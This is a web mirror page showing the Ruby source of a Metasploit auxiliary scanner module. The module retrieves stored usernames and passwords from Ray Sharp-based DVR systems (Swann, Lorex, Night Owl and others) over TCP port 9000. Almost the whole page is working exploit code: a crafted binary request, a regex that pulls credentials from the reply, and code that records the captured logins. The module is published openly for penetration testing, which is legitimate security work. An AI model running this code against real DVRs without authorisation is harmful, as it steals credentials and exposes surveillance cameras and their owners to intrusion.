Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize11super(12'Name' => 'Ray Sharp DVR Password Retriever',13'Description' => %q{14This module takes advantage of a protocol design issue with the15Ray Sharp based DVR systems. It is possible to retrieve the username and16password through the TCP service running on port 9000. Other brands using17this platform and exposing the same issue may include Swann, Lorex,18Night Owl, Zmodo, URMET, and KGuard Security.19},20'Author' =>21[22'someluser', # Python script23'hdm' # Metasploit module24],25'References' =>26[27[ 'URL', 'http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html' ]28],29'License' => MSF_LICENSE30)3132register_options( [ Opt::RPORT(9000) ])33end3435def report_cred(opts)36service_data = {37address: opts[:ip],38port: opts[:port],39service_name: opts[:service_name],40protocol: 'tcp',41workspace_id: myworkspace_id42}4344credential_data = {45origin_type: :service,46module_fullname: fullname,47username: opts[:user],48private_data: opts[:password],49private_type: :password50}.merge(service_data)5152login_data = {53core: create_credential(credential_data),54status: Metasploit::Model::Login::Status::UNTRIED,55proof: opts[:proof]56}.merge(service_data)5758create_credential_login(login_data)59end6061def run_host(ip)62req =63"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" +64"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00" +65( "\x00" * 475 )6667connect68sock.put(req)6970buf = ""71begin72# Pull data until the socket closes or we time out73Timeout.timeout(15) do74loop do75res = sock.get_once(-1, 1)76buf << res if res77end78end79rescue ::Timeout::Error80rescue ::EOFError81end8283disconnect8485info = ""86mac = nil87ver = nil8889creds = {}9091buf.scan(/[\x00\xff]([\x20-\x7f]{1,32})\x00+([\x20-\x7f]{1,32})\x00\x00([\x20-\x7f]{1,32})\x00/m).each do |cred|92# Make sure the two passwords match93next unless cred[1] == cred[2]94creds[cred[0]] = cred[1]95end9697if creds.keys.length > 098creds.keys.sort.each do |user|99pass = creds[user]100report_cred(101ip: rhost,102port: rport,103service_name: 'dvr',104user: user,105password: pass,106proof: pass107)108info << "(user='#{user}' pass='#{pass}') "109end110end111112# Look for MAC address113if buf =~ /([0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2})/mi114mac = $1115end116117# Look for version118if buf =~ /(V[0-9]+\.[0-9][^\x00]+)/m119ver = $1120end121122info << "mac=#{mac} " if mac123info << "version=#{ver} " if ver124125return unless (creds.keys.length > 0 or mac or ver)126127report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => info)128print_good("#{rhost}:#{rport} #{info}")129end130end131132133